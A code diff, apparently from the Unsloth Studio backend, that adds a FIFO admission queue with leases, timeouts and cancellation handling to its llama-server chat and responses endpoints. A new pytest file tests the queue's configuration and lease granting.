+                            ):
+                                if isinstance(wait_item, str):
+                                    yield wait_item
+                                    continue
+                                lease = wait_item
+                                _openai_admission_log(
+                                    "granted-after-wait",
+                                    reservation,
+                                    request = request,
+                                    mode = _tool_admission_mode,
+                                    wait_started_at = admission_wait_started_at,
+                                    completion_id = completion_id,
+                                    level = "debug",
+                                )
+                                break
+                        if lease is None:
+                            return
+                        await _raise_if_openai_admission_cancelled(
+                            reservation,
+                            request = request,
+                            cancel_event = cancel_event,
+                        )
+                        iterator = gguf_tool_stream()
+                        stream_started = True
+                        try:
+                            async for chunk in iterator:
+                                yield chunk
+                        except asyncio.CancelledError:
+                            stream_cancelled = True
+                            raise
+                        finally:
+                            await _close_openai_admitted_stream_iterator(
+                                iterator,
+                                cancelled = stream_cancelled,
+                            )
+                    except LlamaAdmissionTimeout as exc:
+                        _openai_admission_log(
+                            "timeout",
+                            reservation,
+                            request = request,
+                            mode = _tool_admission_mode,
+                            wait_started_at = admission_wait_started_at,
+                            completion_id = completion_id,
+                            level = "warning",
+                        )
+                        api_monitor.fail(monitor_id, str(exc))
+                        yield _openai_stream_error_sse(
+                            _openai_admission_error_body(exc, status_code = 503)
+                        )
+                    except LlamaAdmissionCancelled:
+                        _openai_admission_log(
+                            "cancelled-before-upstream",
+                            reservation,
+                            request = request,
+                            mode = _tool_admission_mode,
+                            wait_started_at = admission_wait_started_at,
+                            completion_id = completion_id,
+                            level = "debug",
+                        )
+                        api_monitor.finish(monitor_id, "cancelled")
+                        return
+                    except asyncio.CancelledError:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        raise
+                    except HTTPException as exc:
+                        status_code = getattr(exc, "status_code", 500) or 500
+                        detail = exc.detail
+                        error = (
+                            detail
+                            if isinstance(detail, dict) and "error" in detail
+                            else openai_error_body(str(detail), status = status_code)
+                        )
+                        api_monitor.fail(monitor_id, str(detail))
+                        yield _openai_stream_error_sse(error)
+                    finally:
+                        if lease is not None:
+                            lease.release()
+                        if not stream_started:
+                            api_monitor.finish(monitor_id, "cancelled")
+                            reservation.cancel()
+                            _tracker.__exit__(None, None, None)
+
+                async def _gguf_tool_admission_unstarted_cleanup() -> None:
+                    api_monitor.finish(monitor_id, "cancelled")
+                    if stream_lease is not None:
+                        stream_lease.release()
+                    reservation.cancel()
+                    _tracker.__exit__(None, None, None)
+
                 return _SameTaskStreamingResponse(
-                    gguf_tool_stream(),
-                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
+                    admitted_gguf_tool_stream(),
+                    unstarted_cleanup = _gguf_tool_admission_unstarted_cleanup,
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -6864,10 +7303,61 @@ async def openai_chat_completions(
                     except (RuntimeError, ValueError):
                         pass
 
+            drain_task = None
+
+            async def _drain_cancelled_gguf_tool_task():
+                if drain_task is None:
+                    return
+                while not drain_task.done():
+                    try:
+                        await asyncio.shield(drain_task)
+                    except asyncio.CancelledError:
+                        cancel_event.set()
+                        continue
+                    except Exception:
+                        break
+                if drain_task.done():
+                    try:
+                        drain_task.exception()
+                    except (asyncio.CancelledError, Exception):
+                        pass
+
+            admission_lease = None
+            admission_wait_started_at = None
             try:
-                full_text, completion_usage, completion_finish = await asyncio.to_thread(
-                    _drain_gguf_tool_loop
+                if reservation.lease_nowait() is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                admission_lease = await _wait_for_openai_admission_non_streaming(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = cancel_event,
                 )
+                if admission_wait_started_at is not None:
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_tool_loop))
+                full_text, completion_usage, completion_finish = await asyncio.shield(drain_task)
                 reasoning_text, visible_text = _extract_responses_reasoning(
                     full_text,
                     parse_think_markers = _responses_should_parse_think_markers(
@@ -6913,6 +7403,48 @@ async def openai_chat_completions(
                     monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                 )
                 return _model_json_response(response)
+            except asyncio.CancelledError:
+                cancel_event.set()
+                await _drain_cancelled_gguf_tool_task()
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise
+            except LlamaAdmissionTimeout as exc:
+                _openai_admission_log(
+                    "timeout",
+                    reservation,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise _openai_admission_http_exception(exc, status_code = 503)
+            except LlamaAdmissionCancelled as exc:
+                _openai_admission_log(
+                    "cancelled-before-upstream",
+                    reservation,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                api_monitor.finish(monitor_id, "cancelled")
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise HTTPException(
+                    status_code = 499,
+                    detail = _openai_admission_error_body(exc, status_code = 499),
+                )
             except Exception as e:
                 logger.error(f"Error during GGUF tool completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
@@ -6933,6 +7465,8 @@ async def openai_chat_completions(
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
             finally:
+                if admission_lease is not None:
+                    admission_lease.release()
                 _tracker.__exit__(None, None, None)
 
         # ── Standard GGUF path (no tools) ─────────────────────
@@ -6967,6 +7501,23 @@ async def openai_chat_completions(
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
             _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
             _tracker.__enter__()
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _tracker.__exit__(None, None, None)
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = "chat_standard_stream",
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
 
             async def gguf_stream_chunks():
                 disconnect_watcher = asyncio.create_task(
@@ -7114,9 +7665,122 @@ async def openai_chat_completions(
                     finally:
                         _tracker.__exit__(None, None, None)
 
+            stream_lease = reservation.lease_nowait()
+            admission_wait_started_at = None
+            if stream_lease is None:
+                admission_wait_started_at = time.monotonic()
+                _openai_admission_log(
+                    "queued",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_stream",
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+
+            async def admitted_gguf_stream_chunks():
+                lease = stream_lease
+                stream_started = False
+                stream_cancelled = False
+                try:
+                    if lease is None:
+                        async for wait_item in _openai_admission_wait_stream_chunks(
+                            reservation,
+                            admission_config,
+                            request = request,
+                            cancel_event = cancel_event,
+                        ):
+                            if isinstance(wait_item, str):
+                                yield wait_item
+                                continue
+                            lease = wait_item
+                            _openai_admission_log(
+                                "granted-after-wait",
+                                reservation,
+                                request = request,
+                                mode = "chat_standard_stream",
+                                wait_started_at = admission_wait_started_at,
+                                completion_id = completion_id,
+                                level = "debug",
+                            )
+                            break
+                    if lease is None:
+                        return
+                    await _raise_if_openai_admission_cancelled(
+                        reservation,
+                        request = request,
+                        cancel_event = cancel_event,
+                    )
+                    iterator = gguf_stream_chunks()
+                    stream_started = True
+                    try:
+                        async for chunk in iterator:
+                            yield chunk
+                    except asyncio.CancelledError:
+                        stream_cancelled = True
+                        raise
+                    finally:
+                        await _close_openai_admitted_stream_iterator(
+                            iterator,
+                            cancelled = stream_cancelled,
+                        )
+                except LlamaAdmissionTimeout as exc:
+                    _openai_admission_log(
+                        "timeout",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "warning",
+                    )
+                    api_monitor.fail(monitor_id, str(exc))
+                    yield _openai_stream_error_sse(
+                        _openai_admission_error_body(exc, status_code = 503)
+                    )
+                except LlamaAdmissionCancelled:
+                    _openai_admission_log(
+                        "cancelled-before-upstream",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                except asyncio.CancelledError:
+                    api_monitor.finish(monitor_id, "cancelled")
+                    raise
+                except HTTPException as exc:
+                    status_code = getattr(exc, "status_code", 500) or 500
+                    detail = exc.detail
+                    error = (
+                        detail
+                        if isinstance(detail, dict) and "error" in detail
+                        else openai_error_body(str(detail), status = status_code)
+                    )
+                    api_monitor.fail(monitor_id, str(detail))
+                    yield _openai_stream_error_sse(error)
+                finally:
+                    if lease is not None:
+                        lease.release()
+                    if not stream_started:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        reservation.cancel()
+                        _tracker.__exit__(None, None, None)
+
+            async def _gguf_admission_unstarted_cleanup() -> None:
+                api_monitor.finish(monitor_id, "cancelled")
+                if stream_lease is not None:
+                    stream_lease.release()
+                reservation.cancel()
+                _tracker.__exit__(None, None, None)
+
             return _SameTaskStreamingResponse(
-                gguf_stream_chunks(),
-                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
+                admitted_gguf_stream_chunks(),
+                unstarted_cleanup = _gguf_admission_unstarted_cleanup,
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -7125,6 +7789,101 @@ async def openai_chat_completions(
                 },
             )
         else:
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
+
+            _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+            _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+            _tracker.__enter__()
+            admission_lease = None
+            admission_wait_started_at = None
+            try:
+                if reservation.lease_nowait() is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_nonstream",
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                admission_lease = await _wait_for_openai_admission_non_streaming(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                if admission_wait_started_at is not None:
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_nonstream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+            except asyncio.CancelledError:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise
+            except LlamaAdmissionTimeout as exc:
+                _openai_admission_log(
+                    "timeout",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise _openai_admission_http_exception(exc, status_code = 503)
+            except LlamaAdmissionCancelled as exc:
+                _openai_admission_log(
+                    "cancelled-before-upstream",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                api_monitor.finish(monitor_id, "cancelled")
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise HTTPException(
+                    status_code = 499,
+                    detail = _openai_admission_error_body(exc, status_code = 499),
+                )
+
             try:
                 # ``n`` requests several independent completions; the single
                 # decode slot yields one at a time, so loop sequentially.
@@ -7268,6 +8027,10 @@ async def openai_chat_completions(
                         ),
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
+            finally:
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
     # ── Standard Unsloth path ─────────────────────────────────
 
     # Decode image (from content parts OR legacy field)
@@ -9399,6 +10162,52 @@ async def _responses_stream(
     )
     body["stream_options"] = {"include_usage": True}
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "responses_stream",
+            completion_id = resp_id,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    def _responses_admission_failed_sse(exc: Exception, *, status_code: int) -> str:
+        return (
+            "event: response.failed\n"
+            "data: "
+            + json.dumps(
+                {
+                    "type": "response.failed",
+                    "response": {
+                        "id": resp_id,
+                        "object": "response",
+                        "created_at": created_at,
+                        "status": "failed",
+                        "model": _llama_public_model_id(llama_backend, payload.model)
+                        or payload.model,
+                        "output": [],
+                        "usage": {
+                            "input_tokens": 0,
+                            "output_tokens": 0,
+                            "total_tokens": 0,
+                        },
+                        "error": {
+                            "code": status_code,
+                            "message": str(exc),
+                        },
+                    },
+                }
+            )
+            + "\n\n"
+        )
 
     async def event_generator():
         # Clean public id for every response envelope. Prefer the loaded model's
@@ -10208,14 +11017,111 @@ async def _responses_stream(
         api_monitor.finish(monitor_id)
         yield _sse("response.completed", completed_response)
 
+    async def admitted_event_generator():
+        lease = reservation.lease_nowait()
+        admission_wait_started_at = None
+        stream_started = False
+        stream_cancelled = False
+        iterator = None
+        try:
+            if lease is None:
+                admission_wait_started_at = time.monotonic()
+                _openai_admission_log(
+                    "queued",
+                    reservation,
+                    request = request,
+                    mode = "responses_stream",
+                    completion_id = resp_id,
+                    level = "debug",
+                )
+                async for wait_item in _openai_admission_wait_stream_chunks(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = None,
+                ):
+                    if isinstance(wait_item, str):
+                        yield wait_item
+                        continue
+                    lease = wait_item
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = "responses_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = resp_id,
+                        level = "debug",
+                    )
+                    break
+            if lease is None:
+                return
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = None,
+            )
+            iterator = event_generator()
+            stream_started = True
+            try:
+                async for chunk in iterator:
+                    yield chunk
+            except asyncio.CancelledError:
+                stream_cancelled = True
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
+            finally:
+                await _close_openai_admitted_stream_iterator(
+                    iterator,
+                    cancelled = stream_cancelled,
+                )
+        except LlamaAdmissionTimeout as exc:
+            _openai_admission_log(
+                "timeout",
+                reservation,
+                request = request,
+                mode = "responses_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = resp_id,
+                level = "warning",
+            )
+            api_monitor.fail(monitor_id, str(exc))
+            yield _responses_admission_failed_sse(exc, status_code = 503)
+        except LlamaAdmissionCancelled:
+            _openai_admission_log(
+                "cancelled-before-upstream",
+                reservation,
+                request = request,
+                mode = "responses_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = resp_id,
+                level = "debug",
+            )
+            api_monitor.finish(monitor_id, "cancelled")
+            return
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        finally:
+            if lease is not None:
+                lease.release()
+            if not stream_started:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+
+    async def _responses_admission_unstarted_cleanup() -> None:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+
     return _SameTaskStreamingResponse(
-        event_generator(),
+        admitted_event_generator(),
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
             "Connection": "close",
             "X-Accel-Buffering": "no",
         },
+        unstarted_cleanup = _responses_admission_unstarted_cleanup,
     )
 
 
@@ -12059,7 +12965,202 @@ async def _openai_passthrough_stream(
     completion_id,
     monitor_id: Optional[str] = None,
 ):
-    """Streaming client-side pass-through for /v1/chat/completions.
+    _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+    _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+    _tracker.__enter__()
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _tracker.__exit__(None, None, None)
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "chat_passthrough_stream",
+            completion_id = completion_id,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        try:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            lease.release()
+            _tracker.__exit__(None, None, None)
+            raise
+        except LlamaAdmissionCancelled as exc:
+            lease.release()
+            _tracker.__exit__(None, None, None)
+            api_monitor.finish(monitor_id, "cancelled")
+            raise HTTPException(
+                status_code = 499,
+                detail = _openai_admission_error_body(exc, status_code = 499),
+            )
+        return await _openai_passthrough_stream_admitted(
+            request,
+            cancel_event,
+            llama_backend,
+            payload,
+            model_name,
+            completion_id,
+            monitor_id = monitor_id,
+            admission_lease = lease,
+            tracker = _tracker,
+        )
+
+    admission_wait_started_at = time.monotonic()
+    _openai_admission_log(
+        "queued",
+        reservation,
+        request = request,
+        mode = "chat_passthrough_stream",
+        completion_id = completion_id,
+        level = "debug",
+    )
+
+    async def _queued_stream():
+        admitted_started = False
+        admitted_body_owns_cleanup = False
+        admitted_response = None
+        admitted_body_cancelled = False
+        try:
+            async for wait_item in _openai_admission_wait_stream_chunks(
+                reservation,
+                admission_config,
+                request = request,
+                cancel_event = cancel_event,
+            ):
+                if isinstance(wait_item, str):
+                    yield wait_item
+                    continue
+                _openai_admission_log(
+                    "granted-after-wait",
+                    reservation,
+                    request = request,
+                    mode = "chat_passthrough_stream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                admitted_response = await _openai_passthrough_stream_admitted(
+                    request,
+                    cancel_event,
+                    llama_backend,
+                    payload,
+                    model_name,
+                    completion_id,
+                    monitor_id = monitor_id,
+                    admission_lease = wait_item,
+                    tracker = _tracker,
+                )
+                admitted_started = True
+                iterator = admitted_response.body_iterator
+                admitted_body_owns_cleanup = True
+                try:
+                    async for chunk in iterator:
+                        yield chunk
+                except asyncio.CancelledError:
+                    admitted_body_cancelled = True
+                    raise
+                finally:
+                    await _close_openai_admitted_stream_iterator(
+                        iterator,
+                        cancelled = admitted_body_cancelled,
+                    )
+                    if not admitted_body_owns_cleanup:
+                        cleanup = getattr(admitted_response, "_unstarted_cleanup", None)
+                        if cleanup is not None:
+                            await cleanup()
+                return
+        except LlamaAdmissionTimeout as exc:
+            _openai_admission_log(
+                "timeout",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = completion_id,
+                level = "warning",
+            )
+            api_monitor.fail(monitor_id, str(exc))
+            yield _openai_stream_error_sse(_openai_admission_error_body(exc, status_code = 503))
+        except LlamaAdmissionCancelled:
+            _openai_admission_log(
+                "cancelled-before-upstream",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = completion_id,
+                level = "debug",
+            )
+            api_monitor.finish(monitor_id, "cancelled")
+            return
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        except HTTPException as exc:
+            status_code = getattr(exc, "status_code", 500) or 500
+            detail = exc.detail
+            error = (
+                detail
+                if isinstance(detail, dict) and "error" in detail
+                else openai_error_body(str(detail), status = status_code)
+            )
+            api_monitor.fail(monitor_id, str(detail))
+            yield _openai_stream_error_sse(error)
+        finally:
+            if not admitted_started:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                _tracker.__exit__(None, None, None)
+
+    async def _queued_unstarted_cleanup() -> None:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+        _tracker.__exit__(None, None, None)
+
+    return _SameTaskStreamingResponse(
+        _queued_stream(),
+        media_type = "text/event-stream",
+        headers = {
+            "Cache-Control": "no-cache",
+            "Connection": "close",
+            "X-Accel-Buffering": "no",
+        },
+        unstarted_cleanup = _queued_unstarted_cleanup,
+    )
+
+
+async def _openai_passthrough_stream_admitted(
+    request,
+    cancel_event,
+    llama_backend,
+    payload,
+    model_name,
+    completion_id,
+    monitor_id: Optional[str] = None,
+    *,
+    admission_lease: LlamaAdmissionLease,
+    tracker,
+):
+    """Streaming client-side pass-through after Studio granted an upstream slot.
 
     Forwards the client's OpenAI function-calling request to llama-server and
     relays the SSE stream back with minimal normalization (reasoning-only
@@ -12073,9 +13174,7 @@ async def _openai_passthrough_stream(
     --reasoning-format auto``), so ``delta.content`` carries no raw markup and is
     deliberately not re-parsed locally, unlike the ``/completion`` paths.
     """
-    _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
-    _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
-    _tracker.__enter__()
+    _tracker = tracker
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
     upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
 
@@ -12166,7 +13265,10 @@ async def _openai_passthrough_stream(
                     await _aclose_send_task(send_task)
                     await _aclose_stream_resources(client = client)
                 finally:
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        admission_lease.release()
+                    finally:
+                        _tracker.__exit__(None, None, None)
                 return _SameTaskStreamingResponse(
                     iter(()),
                     media_type = "text/event-stream",
@@ -12712,7 +13814,10 @@ async def _openai_passthrough_stream(
                         client = client,
                     )
                 finally:
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        admission_lease.release()
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
         async def _unstarted_cleanup() -> None:
             # Client disconnected before the body stream started, so _stream()'s
@@ -12723,7 +13828,10 @@ async def _openai_passthrough_stream(
                 await _aclose_send_task(send_task)
                 await _aclose_stream_resources(resp = resp, client = client)
             finally:
-                _tracker.__exit__(None, None, None)
+                try:
+                    admission_lease.release()
+                finally:
+                    _tracker.__exit__(None, None, None)
 
         return _SameTaskStreamingResponse(
             _stream(),
@@ -12747,7 +13855,10 @@ async def _openai_passthrough_stream(
             await _aclose_send_task(send_task)
             await _aclose_stream_resources(resp = resp, client = client)
         finally:
-            _tracker.__exit__(None, None, None)
+            try:
+                admission_lease.release()
+            finally:
+                _tracker.__exit__(None, None, None)
         raise
 
 
@@ -12759,6 +13870,106 @@ async def _openai_passthrough_non_streaming(
     *,
     request: Optional[Request] = None,
     cancel_event = None,
+):
+    """Non-streaming pass-through guarded by local llama-server admission."""
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    lease = None
+    admission_wait_started_at = None
+    try:
+        if reservation.lease_nowait() is None:
+            admission_wait_started_at = time.monotonic()
+            _openai_admission_log(
+                "queued",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_nonstream",
+                level = "debug",
+            )
+        lease = await _wait_for_openai_admission_non_streaming(
+            reservation,
+            admission_config,
+            request = request,
+            cancel_event = cancel_event,
+        )
+        if admission_wait_started_at is not None:
+            _openai_admission_log(
+                "granted-after-wait",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_nonstream",
+                wait_started_at = admission_wait_started_at,
+                level = "debug",
+            )
+        await _raise_if_openai_admission_cancelled(
+            reservation,
+            request = request,
+            cancel_event = cancel_event,
+        )
+        return await _openai_passthrough_non_streaming_upstream(
+            llama_backend,
+            payload,
+            model_name,
+            monitor_id = monitor_id,
+            request = request,
+            cancel_event = cancel_event,
+        )
+    except LlamaAdmissionTimeout as exc:
+        _openai_admission_log(
+            "timeout",
+            reservation,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            wait_started_at = admission_wait_started_at,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 503)
+    except LlamaAdmissionCancelled as exc:
+        _openai_admission_log(
+            "cancelled-before-upstream",
+            reservation,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            wait_started_at = admission_wait_started_at,
+            level = "debug",
+        )
+        api_monitor.finish(monitor_id, "cancelled")
+        raise HTTPException(
+            status_code = 499,
+            detail = _openai_admission_error_body(exc, status_code = 499),
+        )
+    except asyncio.CancelledError:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+        raise
+    finally:
+        if lease is not None:
+            lease.release()
+
+
+async def _openai_passthrough_non_streaming_upstream(
+    llama_backend,
+    payload,
+    model_name,
+    monitor_id: Optional[str] = None,
+    *,
+    request: Optional[Request] = None,
+    cancel_event = None,
 ):
     """Non-streaming client-side pass-through for /v1/chat/completions.
 
diff --git a/studio/backend/tests/test_llama_admission.py b/studio/backend/tests/test_llama_admission.py
new file mode 100644
index 0000000000..2f04e81926
--- /dev/null
+++ b/studio/backend/tests/test_llama_admission.py
@@ -0,0 +1,320 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import asyncio
+import os
+import sys
+import threading
+
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference import llama_admission
+from core.inference.llama_admission import (
+    ADMISSION_CONTROL_ENV,
+    ADMISSION_KEEPALIVE_INTERVAL_ENV,
+    ADMISSION_MAX_QUEUE_ENV,
+    ADMISSION_QUEUE_TIMEOUT_ENV,
+    DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S,
+    DEFAULT_ADMISSION_MAX_QUEUE,
+    DEFAULT_ADMISSION_QUEUE_TIMEOUT_S,
+    LlamaAdmissionConfig,
+    LlamaAdmissionQueueFull,
+    get_llama_admission_queue,
+    llama_admission_config_from_env,
+    reset_llama_admission_queues,
+)
+
+
+@pytest.fixture(autouse = True)
+def _reset_queues():
+    reset_llama_admission_queues()
+    yield
+    reset_llama_admission_queues()
+
+
+def test_admission_config_defaults(monkeypatch):
+    for name in (
+        ADMISSION_CONTROL_ENV,
+        ADMISSION_QUEUE_TIMEOUT_ENV,
+        ADMISSION_KEEPALIVE_INTERVAL_ENV,
+        ADMISSION_MAX_QUEUE_ENV,
+    ):
+        monkeypatch.delenv(name, raising = False)
+
+    config = llama_admission_config_from_env()
+
+    assert config.enabled is True
+    assert config.queue_timeout_s == DEFAULT_ADMISSION_QUEUE_TIMEOUT_S
+    assert config.keepalive_interval_s == DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S
+    assert config.max_queue == DEFAULT_ADMISSION_MAX_QUEUE
+
+
+def test_admission_config_env_overrides(monkeypatch):
+    monkeypatch.setenv(ADMISSION_CONTROL_ENV, "off")
+    monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0")
+    monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.25")
+    monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "0")
+
+    config = llama_admission_config_from_env()
+
+    assert config.enabled is False
+    assert config.queue_timeout_s is None
+    assert config.keepalive_interval_s == 0.25
+    assert config.max_queue is None
+
+
+def test_admission_config_positive_queue_timeout_env(monkeypatch):
+    monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "600")
+
+    config = llama_admission_config_from_env()
+
+    assert config.queue_timeout_s == 600.0
+
+
+def test_fifo_capacity_one_grants_next_waiter_on_release():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        third = queue.reserve(capacity = 1, config = config)
+
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second.lease_nowait() is None
+        assert third.lease_nowait() is None
